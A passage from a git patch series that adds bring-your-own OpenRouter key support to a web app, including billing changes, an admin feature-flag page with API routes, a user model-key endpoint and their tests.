+ options.keySource ??
+ (options.userId === undefined
+ ? { source: 'managed' as const }
+ : await resolveModelKeySource({ userId: options.userId, provider: 'openrouter', driveId: options.driveId, contentDriveIds: options.contentDriveIds, contentOrgIds: options.contentOrgIds }));
+ if (keyDecision.source === 'refused') return byokUnavailable();
+ if (keyDecision.source === 'user_key' && options.userId !== undefined) return { client: userKeyOpenRouter(options.userId, options), provider, modelName: request.model, keySource: 'user_key' };
const managed = getManagedProviderKey('openrouter');
if (!managed?.apiKey) return notConfigured('OpenRouter');
const client = createOpenRouter({
@@ -345,7 +405,7 @@ export async function createImageProvider(
...(process.env.OPENROUTER_BASE_URL ? { baseURL: process.env.OPENROUTER_BASE_URL } : {}),
headers: { 'X-OpenRouter-Cache': 'true' },
});
- return { client, provider, modelName: request.model };
+ return { client, provider, modelName: request.model, keySource: 'managed' };
}
export function createProviderErrorResponse(error: ProviderError): NextResponse {
diff --git a/apps/web/src/lib/ai/tools/image-generation-tools.ts b/apps/web/src/lib/ai/tools/image-generation-tools.ts
index 9cff09a276..a68d341254 100644
--- a/apps/web/src/lib/ai/tools/image-generation-tools.ts
+++ b/apps/web/src/lib/ai/tools/image-generation-tools.ts
@@ -180,9 +180,14 @@ restricted to app administrators.`,
// POL-8: the image model is built by the provider factory, which judges it against the org allowlists of the
// drive the turn runs in and of the drive the image lands in. Refused before any credit is reserved.
+ // Gated and recorded as the consumer the turn's gate bound (a manual Run's presser), else the caller.
+ const billedUserId = context?.creditSpend?.userId ?? userId;
const imageProvider = await createImageProvider({ model }, {
driveId: spendDriveId(context?.creditSpend?.spend ?? PERSONAL_SPEND),
contentDriveIds: target.targetDriveId ? [target.targetDriveId] : [],
+ // BYOK (ADR 0009): the billed person's own OpenRouter key may pay for the image.
+ userId: billedUserId,
+ modelCall: { sessionId: context?.authSessionId ?? null, conversationId: context?.conversationId ?? null },
});
if (isProviderError(imageProvider)) {
return { success: false, error: imageProvider.error };
@@ -192,12 +197,14 @@ restricted to app administrators.`,
// The image spends the wallet the turn it runs in already named (WAL-5, SPEND-4):
// the same drive and source, never a different one. Outside a gated turn there is
// no drive session, so it spends personal credits (SPEND-8).
- // Gated and recorded as the consumer the turn's gate bound (a manual Run's presser), else the caller.
- const billedUserId = context?.creditSpend?.userId ?? userId;
- const gate = await canConsumeAI(billedUserId, (tier ?? 'free') as SubscriptionTier, {
- spend: context?.creditSpend?.spend ?? PERSONAL_SPEND,
- estCostCents: IMAGE_GEN_HOLD_ESTIMATE_CENTS,
- });
+ const ownKey = imageProvider.keySource === 'user_key';
+ // On the person's own key there is nothing to reserve: no hold, no charge.
+ const gate = ownKey
+ ? { allowed: true as const, holdId: undefined, walletId: undefined }
+ : await canConsumeAI(billedUserId, (tier ?? 'free') as SubscriptionTier, {
+ spend: context?.creditSpend?.spend ?? PERSONAL_SPEND,
+ estCostCents: IMAGE_GEN_HOLD_ESTIMATE_CENTS,
+ });
if (!gate.allowed) {
return {
success: false,
@@ -233,6 +240,7 @@ restricted to app administrators.`,
}) => {
const resolved = resolveImageCost(args.providerCostDollars);
const settle = await AIMonitoring.trackUsage({
+ keySource: imageProvider.keySource,
userId: billedUserId,
provider: 'openrouter',
model,
diff --git a/packages/lib/src/billing/credit-backfill.ts b/packages/lib/src/billing/credit-backfill.ts
index 5016fb26a0..5a0b424179 100644
--- a/packages/lib/src/billing/credit-backfill.ts
+++ b/packages/lib/src/billing/credit-backfill.ts
@@ -166,6 +166,8 @@ export async function backfillCredits(): Promise {
gt(aiUsageLogs.cost, 0),
lt(aiUsageLogs.timestamp, cutoff),
notInArray(aiUsageLogs.provider, METERING_EXEMPT_PROVIDERS),
+ // BYOK (ADR 0009): a call on the person's own OpenRouter key was never owed in credits.
+ eq(aiUsageLogs.keySource, 'managed'),
// WAL-6b: a row already found to name no wallet is terminal — never rescanned.
isNull(aiUsageLogs.unattributedAt),
),
diff --git a/packages/lib/src/logging/logger-database.ts b/packages/lib/src/logging/logger-database.ts
index cf09a85f9e..eb2e9cdd3e 100644
--- a/packages/lib/src/logging/logger-database.ts
+++ b/packages/lib/src/logging/logger-database.ts
@@ -210,6 +210,8 @@ export async function writeAiUsage(usage: {
walletId?: string;
/** SPEND-10: the automation (its stored reference, automation-attribution) the call ran for with no person present. */
automationRef?: string;
+ /** BYOK (ADR 0009): whose provider key ran the call; default 'managed'. */
+ keySource?: 'managed' | 'user_key';
success?: boolean;
error?: string;
source?: string;
@@ -250,6 +252,7 @@ export async function writeAiUsage(usage: {
sessionId: usage.sessionId,
walletId: usage.walletId,
automationRef: usage.automationRef,
+ keySource: usage.keySource ?? 'managed',
success: usage.success,
error: usage.error,
source: usage.source,
diff --git a/packages/lib/src/monitoring/ai-monitoring.ts b/packages/lib/src/monitoring/ai-monitoring.ts
index 0934158cec..8f98611236 100644
--- a/packages/lib/src/monitoring/ai-monitoring.ts
+++ b/packages/lib/src/monitoring/ai-monitoring.ts
@@ -843,6 +843,11 @@ export interface AIUsageData {
// route → here → consumeCredits. Absent for un-gated calls (e.g. cron paths).
holdId?: string;
+ // BYOK (ADR 0009): whose provider key ran this call. 'user_key' = the person's own OpenRouter key through
+ // the credential plane: recorded, never billed in credits, never reconciled against PageSpace's account.
+ // Absent = 'managed'.
+ keySource?: 'managed' | 'user_key';
+
// The wallet that hold was placed on (CreditGateResult.walletId, WAL-5), threaded with
// it so the charge settles against the wallet the call named, never re-derived from the
// user. Absent for un-gated calls, which charge the personal root wallet.
@@ -1023,8 +1028,10 @@ export async function trackAIUsage(data: AIUsageData): Promise 0 ? ('pending' as const) : undefined;
+ const ownKey = data.keySource === 'user_key';
+ // A generation on the person's own key is on THEIR OpenRouter account: PageSpace's key cannot read it back.
+ const reconcileStatus = ownKey ? undefined : hasRealCost && generationIds.length > 0 ? ('pending' as const) : undefined;
+ const unbilled = ownKey || isMeteringExempt(data.provider);
// Persist the usage log, then debit the user's prepaid credit balance
// (cost × markup) whenever real provider tokens were consumed — even if the
@@ -1116,6 +1123,7 @@ export async function trackAIUsage(data: AIUsageData): Promise
Date: Sun, 29 Nov 2026 19:56:18 -0600
Subject: [PATCH 05/35] =?UTF-8?q?feat(byok):=20admin=20feature=20flags=20p?=
=?UTF-8?q?er=20person,=20and=20Settings=20=E2=86=92=20AI=20'Use=20your=20?=
=?UTF-8?q?own=20OpenRouter=20key'=20(BYOK-2,=20BYOK-9)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- Admin → Feature Flags: each flag code defines, its default, and per-person
settings (search a person, turn it on or off for them, or back to the
default). Every change is audited.
- /api/user/model-key: GET status, PUT stores a key write-only to the plane
(only for people the admin enabled, never on-prem), DELETE revokes it (always
allowed). The key never appears in any response.
- Settings → AI shows the card only to enabled people: no key is ever shown,
only when it was added and last used.
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
.../src/app/(admin)/feature-flags/page.tsx | 194 ++++++++++++++++++
.../[key]/users/[userId]/route.ts | 59 ++++++
.../admin/feature-flags/[key]/users/route.ts | 35 ++++
.../feature-flags/__tests__/route.test.ts | 89 ++++++++
.../src/app/api/admin/feature-flags/route.ts | 50 +++++
.../components/admin/shell/admin-shell.tsx | 2 +
.../user/model-key/__tests__/route.test.ts | 100 +++++++++
apps/web/src/app/api/user/model-key/route.ts | 85 ++++++++
apps/web/src/app/settings/ai/ModelKeyCard.tsx | 149 ++++++++++++++
apps/web/src/app/settings/ai/page.tsx | 3 +
10 files changed, 766 insertions(+)
create mode 100644 apps/admin/src/app/(admin)/feature-flags/page.tsx
create mode 100644 apps/admin/src/app/api/admin/feature-flags/[key]/users/[userId]/route.ts
create mode 100644 apps/admin/src/app/api/admin/feature-flags/[key]/users/route.ts
create mode 100644 apps/admin/src/app/api/admin/feature-flags/__tests__/route.test.ts
create mode 100644 apps/admin/src/app/api/admin/feature-flags/route.ts
create mode 100644 apps/web/src/app/api/user/model-key/__tests__/route.test.ts
create mode 100644 apps/web/src/app/api/user/model-key/route.ts
create mode 100644 apps/web/src/app/settings/ai/ModelKeyCard.tsx
diff --git a/apps/admin/src/app/(admin)/feature-flags/page.tsx b/apps/admin/src/app/(admin)/feature-flags/page.tsx
new file mode 100644
index 0000000000..11339a28c9
--- /dev/null
+++ b/apps/admin/src/app/(admin)/feature-flags/page.tsx
@@ -0,0 +1,194 @@
+"use client";
+
+/**
+ * Feature flags: turn a not-yet-GA feature on for named people, or for everyone. A person's own setting wins
+ * over the default. Every change is audited.
+ */
+import { useState } from "react";
+import { Card, CardContent, CardDescription, CardHeader, CardTitle } from "@/components/ui/card";
+import { Button } from "@/components/ui/button";
+import { Badge } from "@/components/ui/badge";
+import { Input } from "@/components/ui/input";
+import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "@/components/ui/table";
+import { PageHeader, DataState } from "@/components/admin/kit";
+import { useAdminQuery } from "@/hooks/use-admin-query";
+import { fetchWithAuth } from "@/lib/auth/auth-fetch";
+
+interface FlagState {
+ key: string;
+ label: string;
+ description: string;
+ enabledByDefault: boolean;
+ userOverrideCount: number;
+ unavailableHere: boolean;
+}
+
+interface FlagUser {
+ userId: string;
+ name: string | null;
+ email: string | null;
+ enabled: boolean;
+ updatedAt: string;
+}
+
+interface UserSearchResult {
+ id: string;
+ name: string | null;
+ email: string | null;
+}
+
+async function send(url: string, method: "PUT" | "PATCH" | "DELETE", body?: unknown): Promise {
+ const response = await fetchWithAuth(url, {
+ method,
+ headers: { "Content-Type": "application/json" },
+ body: body === undefined ? undefined : JSON.stringify(body),
+ });
+ if (response.ok) return null;
+ const json = (await response.json().catch(() => ({}))) as { error?: string };
+ return json.error ?? `Request failed (${response.status})`;
+}
+
+function FlagPeople({ flag, onChanged }: { flag: FlagState; onChanged: () => void }) {
+ const usersUrl = `/api/admin/feature-flags/${flag.key}/users`;
+ const people = useAdminQuery<{ users: FlagUser[] }>(usersUrl);
+ const [query, setQuery] = useState("");
+ const [results, setResults] = useState([]);
+ const [busy, setBusy] = useState(false);
+ const [error, setError] = useState(null);
+
+ async function search() {
+ setError(null);
+ const response = await fetchWithAuth(`/api/admin/users?q=${encodeURIComponent(query.trim())}&limit=10`);
+ if (!response.ok) return setError("Search failed");
+ const json = (await response.json()) as { users: UserSearchResult[] };
+ setResults(json.users);
+ }
+
+ async function act(run: () => Promise) {
+ setBusy(true);
+ setError(null);
+ const failed = await run();
+ setBusy(false);
+ if (failed) return setError(failed);
+ people.refetch();
+ onChanged();
+ }
+
+ const assigned = new Set((people.data?.users ?? []).map((user) => user.userId));
+
+ return (
+
+
+
+ {results.length > 0 && (
+
+
+ {results.map((user) => (
+
+ {user.name ?? "—"}
+ {user.email ?? "—"}
+
+ {assigned.has(user.id) ? (
+ Already set
+ ) : (
+ act(() => send(`${usersUrl}/${user.id}`, "PUT", { enabled: true }))}>
+ Turn on for this person
+
+ )}
+
+
+ ))}
+
+
+ )}
+
+ {error &&
{error}
}
+
+
+
+
+
+ Person
+ Email
+ Setting
+ Change
+
+
+
+ {(people.data?.users ?? []).map((user) => (
+
+ {user.name ?? user.userId}
+ {user.email ?? "—"}
+ {user.enabled ? On : Off }
+
+ act(() => send(`${usersUrl}/${user.userId}`, "PUT", { enabled: !user.enabled }))}>
+ Turn {user.enabled ? "off" : "on"}
+
+ act(() => send(`${usersUrl}/${user.userId}`, "DELETE"))}>
+ Use default
+
+
+
+ ))}
+
+
+
+
+ );
+}
+
+export default function FeatureFlagsPage() {
+ const flags = useAdminQuery<{ flags: FlagState[] }>("/api/admin/feature-flags");
+ const [error, setError] = useState(null);
+
+ async function setDefault(flag: FlagState, enabledByDefault: boolean) {
+ setError(null);
+ const failed = await send("/api/admin/feature-flags", "PATCH", { key: flag.key, enabledByDefault });
+ if (failed) setError(failed);
+ flags.refetch();
+ }
+
+ return (
+
+
+ {error &&
{error}
}
+
+ {(flags.data?.flags ?? []).map((flag) => (
+
+
+
+ {flag.label}
+ {flag.key}
+ {flag.unavailableHere && Off on this deployment }
+
+ {flag.description}
+
+
+
+
+
For everyone else: {flag.enabledByDefault ? "On" : "Off"}
+
{flag.userOverrideCount} {flag.userOverrideCount === 1 ? "person has" : "people have"} their own setting.
+
+
setDefault(flag, !flag.enabledByDefault)}>
+ Turn {flag.enabledByDefault ? "off" : "on"} for everyone
+
+
+
+
+
+ ))}
+
+
+ );
+}
diff --git a/apps/admin/src/app/api/admin/feature-flags/[key]/users/[userId]/route.ts b/apps/admin/src/app/api/admin/feature-flags/[key]/users/[userId]/route.ts
new file mode 100644
index 0000000000..7b4ea8fc58
--- /dev/null
+++ b/apps/admin/src/app/api/admin/feature-flags/[key]/users/[userId]/route.ts
@@ -0,0 +1,59 @@
+import { NextResponse } from 'next/server';
+import { z } from 'zod/v4';
+import { db } from '@pagespace/db/db';
+import { eq } from '@pagespace/db/operators';
+import { users } from '@pagespace/db/schema/auth';
+import { withAdminAuth } from '@/lib/auth';
+import { auditRequest } from '@pagespace/lib/audit/audit-log';
+import { loggers } from '@pagespace/lib/logging/logger-config';
+import { isFeatureFlagKey } from '@pagespace/lib/feature-flags/flags';
+import { createFeatureFlagRepository } from '@pagespace/lib/feature-flags/feature-flag-repository';
+
+type RouteContext = { params: Promise<{ key: string; userId: string }> };
+
+const setOverrideBody = z.object({ enabled: z.boolean() }).strict();
+
+/** PUT /api/admin/feature-flags/[key]/users/[userId] — turn the flag on (or off) for this one person. */
+export const PUT = withAdminAuth(async (adminUser, request, context) => {
+ const { key, userId } = await context.params;
+ if (!isFeatureFlagKey(key)) return NextResponse.json({ error: 'Unknown flag' }, { status: 404 });
+ const parsed = setOverrideBody.safeParse(await request.json().catch(() => null));
+ if (!parsed.success) return NextResponse.json({ error: 'Invalid request' }, { status: 400 });
+ try {
+ const [target] = await db.select({ id: users.id }).from(users).where(eq(users.id, userId)).limit(1);
+ if (!target) return NextResponse.json({ error: 'User not found' }, { status: 404 });
+ await createFeatureFlagRepository().setOverride({ flag: key, userId, enabled: parsed.data.enabled, adminUserId: adminUser.id });
+ auditRequest(request, {
+ eventType: 'admin.settings.changed',
+ userId: adminUser.id,
+ resourceType: 'feature_flag',
+ resourceId: key,
+ details: { source: 'admin', action: 'set_feature_flag_user', targetUserId: userId, enabled: parsed.data.enabled },
+ });
+ return NextResponse.json({ success: true });
+ } catch (error) {
+ loggers.api.error('Error setting feature flag for user', error instanceof Error ? error : undefined);
+ return NextResponse.json({ error: 'Failed to update feature flag' }, { status: 500 });
+ }
+});
+
+/** DELETE /api/admin/feature-flags/[key]/users/[userId] — the person follows the flag's default again. */
+export const DELETE = withAdminAuth(async (adminUser, request, context) => {
+ const { key, userId } = await context.params;
+ if (!isFeatureFlagKey(key)) return NextResponse.json({ error: 'Unknown flag' }, { status: 404 });
+ try {
+ const removed = await createFeatureFlagRepository().removeOverride({ flag: key, userId });
+ if (!removed) return NextResponse.json({ error: 'No setting for this person' }, { status: 404 });
+ auditRequest(request, {
+ eventType: 'admin.settings.changed',
+ userId: adminUser.id,
+ resourceType: 'feature_flag',
+ resourceId: key,
+ details: { source: 'admin', action: 'clear_feature_flag_user', targetUserId: userId },
+ });
+ return NextResponse.json({ success: true });
+ } catch (error) {
+ loggers.api.error('Error clearing feature flag for user', error instanceof Error ? error : undefined);
+ return NextResponse.json({ error: 'Failed to update feature flag' }, { status: 500 });
+ }
+});
diff --git a/apps/admin/src/app/api/admin/feature-flags/[key]/users/route.ts b/apps/admin/src/app/api/admin/feature-flags/[key]/users/route.ts
new file mode 100644
index 0000000000..7706890f5e
--- /dev/null
+++ b/apps/admin/src/app/api/admin/feature-flags/[key]/users/route.ts
@@ -0,0 +1,35 @@
+import { NextResponse } from 'next/server';
+import { db } from '@pagespace/db/db';
+import { inArray } from '@pagespace/db/operators';
+import { users } from '@pagespace/db/schema/auth';
+import { withAdminAuth } from '@/lib/auth';
+import { loggers } from '@pagespace/lib/logging/logger-config';
+import { decryptUserRows } from '@pagespace/lib/auth/user-repository';
+import { isFeatureFlagKey } from '@pagespace/lib/feature-flags/flags';
+import { createFeatureFlagRepository } from '@pagespace/lib/feature-flags/feature-flag-repository';
+
+type RouteContext = { params: Promise<{ key: string }> };
+
+/** GET /api/admin/feature-flags/[key]/users — the people with their own setting for this flag. */
+export const GET = withAdminAuth(async (_adminUser, _request, context) => {
+ const { key } = await context.params;
+ if (!isFeatureFlagKey(key)) return NextResponse.json({ error: 'Unknown flag' }, { status: 404 });
+ try {
+ const overrides = await createFeatureFlagRepository().listOverrides(key);
+ const ids = overrides.map((override) => override.userId);
+ const rows = ids.length === 0 ? [] : await decryptUserRows(await db.select({ id: users.id, name: users.name, email: users.email }).from(users).where(inArray(users.id, ids)));
+ const byId = new Map(rows.map((row) => [row.id, row]));
+ return NextResponse.json({
+ users: overrides.map((override) => ({
+ userId: override.userId,
+ name: byId.get(override.userId)?.name ?? null,
+ email: byId.get(override.userId)?.email ?? null,
+ enabled: override.enabled,
+ updatedAt: override.updatedAt,
+ })),
+ });
+ } catch (error) {
+ loggers.api.error('Error listing feature flag users', error instanceof Error ? error : undefined);
+ return NextResponse.json({ error: 'Failed to list people' }, { status: 500 });
+ }
+});
diff --git a/apps/admin/src/app/api/admin/feature-flags/__tests__/route.test.ts b/apps/admin/src/app/api/admin/feature-flags/__tests__/route.test.ts
new file mode 100644
index 0000000000..104a9c3a7b
--- /dev/null
+++ b/apps/admin/src/app/api/admin/feature-flags/__tests__/route.test.ts
@@ -0,0 +1,89 @@
+/**
+ * Admin feature flags. Pinned here: only an admin reaches them; only flags code defines are accepted; a
+ * per-person setting is written for an existing person and audited with who changed it.
+ */
+import { describe, it, expect, beforeEach, vi } from 'vitest';
+import { NextResponse } from 'next/server';
+
+const { mockVerifyAdminAuth, mockRepo, mockAudit, mockUserLookup } = vi.hoisted(() => ({
+ mockVerifyAdminAuth: vi.fn(),
+ mockRepo: { list: vi.fn(), setDefault: vi.fn(), listOverrides: vi.fn(), setOverride: vi.fn(), removeOverride: vi.fn() },
+ mockAudit: vi.fn(),
+ mockUserLookup: vi.fn(),
+}));
+
+vi.mock('@/lib/auth', () => ({
+ withAdminAuth: (handler: (user: unknown, request: Request, context: T) => Promise) => async (request: Request, context: T) => {
+ const resolved = await mockVerifyAdminAuth(request);
+ if (resolved instanceof NextResponse) return resolved;
+ return handler(resolved, request, context);
+ },
+}));
+vi.mock('@pagespace/lib/feature-flags/feature-flag-repository', () => ({ createFeatureFlagRepository: () => mockRepo }));
+vi.mock('@pagespace/lib/audit/audit-log', () => ({ auditRequest: mockAudit }));
+vi.mock('@pagespace/lib/logging/logger-config', () => ({ loggers: { api: { error: vi.fn(), info: vi.fn() } } }));
+vi.mock('@pagespace/lib/deployment-mode', () => ({ isOnPrem: () => false }));
+vi.mock('@pagespace/db/db', () => ({
+ db: { select: () => ({ from: () => ({ where: () => ({ limit: mockUserLookup }) }) }) },
+}));
+
+import { GET, PATCH } from '../route';
+import { PUT, DELETE } from '../[key]/users/[userId]/route';
+
+const admin = { id: 'admin_1', role: 'admin' };
+const json = (method: string, body?: unknown) => new Request('http://localhost/api/admin/feature-flags', { method, headers: { 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });
+const ctx = (key: string, userId: string) => ({ params: Promise.resolve({ key, userId }) });
+
+beforeEach(() => {
+ vi.clearAllMocks();
+ mockVerifyAdminAuth.mockResolvedValue(admin);
+ mockUserLookup.mockResolvedValue([{ id: 'user_1' }]);
+ mockRepo.list.mockResolvedValue([{ key: 'byok_model_key', enabledByDefault: false, updatedAt: null, userOverrideCount: 2 }]);
+ mockRepo.removeOverride.mockResolvedValue(true);
+});
+
+describe('GET /api/admin/feature-flags', () => {
+ it('given an admin, should list each flag with its label and default', async () => {
+ const body = await (await GET(json('GET'))).json();
+ expect(body.flags.map((flag: { key: string; enabledByDefault: boolean; userOverrideCount: number; unavailableHere: boolean }) => [flag.key, flag.enabledByDefault, flag.userOverrideCount, flag.unavailableHere])).toEqual([['byok_model_key', false, 2, false]]);
+ });
+
+ it('given someone who is not an admin, should refuse', async () => {
+ mockVerifyAdminAuth.mockResolvedValue(NextResponse.json({ error: 'Forbidden' }, { status: 403 }));
+ expect((await GET(json('GET'))).status).toBe(403);
+ });
+});
+
+describe('PATCH /api/admin/feature-flags', () => {
+ it('given a defined flag, should set its default and audit it', async () => {
+ const response = await PATCH(json('PATCH', { key: 'byok_model_key', enabledByDefault: true }));
+ expect([response.status, mockRepo.setDefault.mock.calls[0]?.[0], mockAudit.mock.calls[0]?.[1]?.resourceId]).toEqual([200, { flag: 'byok_model_key', enabled: true, adminUserId: 'admin_1' }, 'byok_model_key']);
+ });
+
+ it('given a key code does not define, should refuse and write nothing', async () => {
+ const response = await PATCH(json('PATCH', { key: 'make_everyone_admin', enabledByDefault: true }));
+ expect([response.status, mockRepo.setDefault.mock.calls.length]).toEqual([400, 0]);
+ });
+});
+
+describe('PUT/DELETE /api/admin/feature-flags/[key]/users/[userId]', () => {
+ it('given an existing person, should turn the flag on for them and audit who did it', async () => {
+ const response = await PUT(json('PUT', { enabled: true }), ctx('byok_model_key', 'user_1'));
+ expect([response.status, mockRepo.setOverride.mock.calls[0]?.[0], mockAudit.mock.calls[0]?.[1]?.details?.targetUserId]).toEqual([200, { flag: 'byok_model_key', userId: 'user_1', enabled: true, adminUserId: 'admin_1' }, 'user_1']);
+ });
+
+ it('given a person who does not exist, should answer 404 and write nothing', async () => {
+ mockUserLookup.mockResolvedValue([]);
+ const response = await PUT(json('PUT', { enabled: true }), ctx('byok_model_key', 'ghost'));
+ expect([response.status, mockRepo.setOverride.mock.calls.length]).toEqual([404, 0]);
+ });
+
+ it('given an unknown flag, should answer 404', async () => {
+ expect((await PUT(json('PUT', { enabled: true }), ctx('nope', 'user_1'))).status).toBe(404);
+ });
+
+ it('given a person with a setting, should clear it so they follow the default', async () => {
+ const response = await DELETE(json('DELETE'), ctx('byok_model_key', 'user_1'));
+ expect([response.status, mockRepo.removeOverride.mock.calls[0]?.[0]]).toEqual([200, { flag: 'byok_model_key', userId: 'user_1' }]);
+ });
+});
diff --git a/apps/admin/src/app/api/admin/feature-flags/route.ts b/apps/admin/src/app/api/admin/feature-flags/route.ts
new file mode 100644
index 0000000000..4c753071e8
--- /dev/null
+++ b/apps/admin/src/app/api/admin/feature-flags/route.ts
@@ -0,0 +1,50 @@
+import { NextResponse } from 'next/server';
+import { z } from 'zod/v4';
+import { withAdminAuth } from '@/lib/auth';
+import { auditRequest } from '@pagespace/lib/audit/audit-log';
+import { loggers } from '@pagespace/lib/logging/logger-config';
+import { isOnPrem } from '@pagespace/lib/deployment-mode';
+import { FEATURE_FLAGS, FEATURE_FLAG_KEYS } from '@pagespace/lib/feature-flags/flags';
+import { createFeatureFlagRepository } from '@pagespace/lib/feature-flags/feature-flag-repository';
+
+const setDefaultBody = z.object({ key: z.enum(FEATURE_FLAG_KEYS), enabledByDefault: z.boolean() }).strict();
+
+/** GET /api/admin/feature-flags — every flag code defines, its default, and how many people have their own setting. */
+export const GET = withAdminAuth(async () => {
+ try {
+ const states = await createFeatureFlagRepository().list();
+ const onPrem = isOnPrem();
+ return NextResponse.json({
+ flags: states.map((state) => ({
+ ...state,
+ label: FEATURE_FLAGS[state.key].label,
+ description: FEATURE_FLAGS[state.key].description,
+ // Off on-prem whatever is set here: say so instead of offering a switch that does nothing.
+ unavailableHere: onPrem && !FEATURE_FLAGS[state.key].availableOnPrem,
+ })),
+ });
+ } catch (error) {
+ loggers.api.error('Error listing feature flags', error instanceof Error ? error : undefined);
+ return NextResponse.json({ error: 'Failed to list feature flags' }, { status: 500 });
+ }
+});
+
+/** PATCH /api/admin/feature-flags — turn a flag on or off for everyone who has no setting of their own. */
+export const PATCH = withAdminAuth(async (adminUser, request) => {
+ const parsed = setDefaultBody.safeParse(await request.json().catch(() => null));
+ if (!parsed.success) return NextResponse.json({ error: 'Invalid request' }, { status: 400 });
+ try {
+ await createFeatureFlagRepository().setDefault({ flag: parsed.data.key, enabled: parsed.data.enabledByDefault, adminUserId: adminUser.id });
+ auditRequest(request, {
+ eventType: 'admin.settings.changed',
+ userId: adminUser.id,
+ resourceType: 'feature_flag',
+ resourceId: parsed.data.key,
+ details: { source: 'admin', action: 'set_feature_flag_default', enabledByDefault: parsed.data.enabledByDefault },
+ });
+ return NextResponse.json({ success: true });
+ } catch (error) {
+ loggers.api.error('Error setting feature flag default', error instanceof Error ? error : undefined);
+ return NextResponse.json({ error: 'Failed to update feature flag' }, { status: 500 });
+ }
+});
diff --git a/apps/admin/src/components/admin/shell/admin-shell.tsx b/apps/admin/src/components/admin/shell/admin-shell.tsx
index 0401bc21a4..7f524791a9 100644
--- a/apps/admin/src/components/admin/shell/admin-shell.tsx
+++ b/apps/admin/src/components/admin/shell/admin-shell.tsx
@@ -23,6 +23,7 @@ import {
TrendingUp,
Users,
X,
+ Flag,
type LucideIcon,
} from 'lucide-react';
import { Button } from '@/components/ui/button';
@@ -91,6 +92,7 @@ const NAV_GROUPS: NavGroup[] = [
items: [
{ href: '/tables', label: 'Database', icon: Database },
{ href: '/global-prompt', label: 'Global Prompt', icon: MessageSquareText },
+ { href: '/feature-flags', label: 'Feature Flags', icon: Flag },
],
},
];
diff --git a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts
new file mode 100644
index 0000000000..a12e6eb3a3
--- /dev/null
+++ b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts
@@ -0,0 +1,100 @@
+/**
+ * ADR 0009 — /api/user/model-key. A thin adapter over the authority. Pinned here:
+ * - the key a person submits reaches the authority and NEVER appears in any response (canary by value);
+ * - only a person the admin enabled may store a key; anyone may remove theirs;
+ * - on-prem, or without the credential plane, nothing is stored.
+ */
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+
+const mockAuthority = vi.hoisted(() => ({ getModelKey: vi.fn(), setModelKey: vi.fn(), removeModelKey: vi.fn() }));
+const mockGetAuthority = vi.hoisted(() => vi.fn());
+const mockFlag = vi.hoisted(() => vi.fn());
+const mockOnPrem = vi.hoisted(() => vi.fn(() => false));
+
+vi.mock('@/lib/auth', () => ({
+ authenticateRequestWithOptions: vi.fn(),
+ isAuthError: vi.fn((result: unknown) => result !== null && typeof result === 'object' && 'error' in result),
+}));
+vi.mock('@pagespace/lib/logging/logger-config', () => ({
+ loggers: { api: { info: vi.fn(), warn: vi.fn(), error: vi.fn(), debug: vi.fn() } },
+}));
+vi.mock('@pagespace/lib/audit/audit-log', () => ({ auditRequest: vi.fn() }));
+vi.mock('@pagespace/lib/deployment-mode', () => ({ isOnPrem: mockOnPrem }));
+vi.mock('@pagespace/lib/feature-flags/feature-flag-repository', () => ({ isFeatureEnabled: mockFlag }));
+vi.mock('@/lib/agent-accounts/account-authority-client', () => ({ getAccountAuthority: mockGetAuthority }));
+
+import { GET, PUT, DELETE } from '../route';
+import { authenticateRequestWithOptions } from '@/lib/auth';
+
+const CANARY = 'sk-or-v1-canary0123456789abcdef0123456789';
+const account = { id: 'acct_mk', kind: 'api_key', name: 'OpenRouter model key', ownerKind: 'user', providerSlug: 'openrouter-model-key', allowedOrigins: ['https://openrouter.ai:443'], acknowledgment: 'dedicated_agent_account', status: 'active', upstreamRevocation: null, lastUsedAt: null, createdAt: 1, revokedAt: null, ready: true, publicKey: null };
+const req = (method: string, payload?: unknown) => new Request('http://localhost/api/user/model-key', { method, ...(payload === undefined ? {} : { body: JSON.stringify(payload) }), headers: { 'content-type': 'application/json' } });
+
+beforeEach(() => {
+ vi.clearAllMocks();
+ vi.mocked(authenticateRequestWithOptions).mockResolvedValue({ userId: 'user_1', tokenVersion: 0, tokenType: 'session' as const, sessionId: 'sess_1', role: 'user' as const, adminRoleVersion: 0 });
+ mockGetAuthority.mockReturnValue(mockAuthority);
+ mockFlag.mockResolvedValue(true);
+ mockOnPrem.mockReturnValue(false);
+});
+
+describe('PUT /api/user/model-key', () => {
+ it('given an enabled person and a key, should hand it to the authority and answer 201 without it', async () => {
+ mockAuthority.setModelKey.mockResolvedValue({ ok: true, account });
+ const response = await PUT(req('PUT', { apiKey: CANARY }));
+ const text = await response.text();
+ expect({ status: response.status, leaked: text.includes(CANARY), handed: mockAuthority.setModelKey.mock.calls[0]?.[0]?.apiKey === CANARY, shown: JSON.parse(text).key }).toEqual({
+ status: 201,
+ leaked: false,
+ handed: true,
+ shown: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' },
+ });
+ });
+
+ it('given a person the admin has not enabled, should refuse without touching the authority', async () => {
+ mockFlag.mockResolvedValue(false);
+ const response = await PUT(req('PUT', { apiKey: CANARY }));
+ expect([response.status, mockAuthority.setModelKey.mock.calls.length]).toEqual([403, 0]);
+ });
+
+ it('given on-prem, should refuse even with the flag on', async () => {
+ mockOnPrem.mockReturnValue(true);
+ const response = await PUT(req('PUT', { apiKey: CANARY }));
+ expect([response.status, mockAuthority.setModelKey.mock.calls.length]).toEqual([403, 0]);
+ });
+
+ it('given no credential plane, should answer 503 and store nothing', async () => {
+ mockGetAuthority.mockReturnValue(null);
+ expect((await PUT(req('PUT', { apiKey: CANARY }))).status).toBe(503);
+ });
+
+ it('given a refusal, should name the reason and never the key', async () => {
+ mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'key_invalid' });
+ const response = await PUT(req('PUT', { apiKey: CANARY }));
+ const text = await response.text();
+ expect([response.status, text.includes(CANARY), JSON.parse(text).error]).toEqual([400, false, 'key_invalid']);
+ });
+});
+
+describe('GET /api/user/model-key', () => {
+ it('given an enabled person with a key, should show its metadata only', async () => {
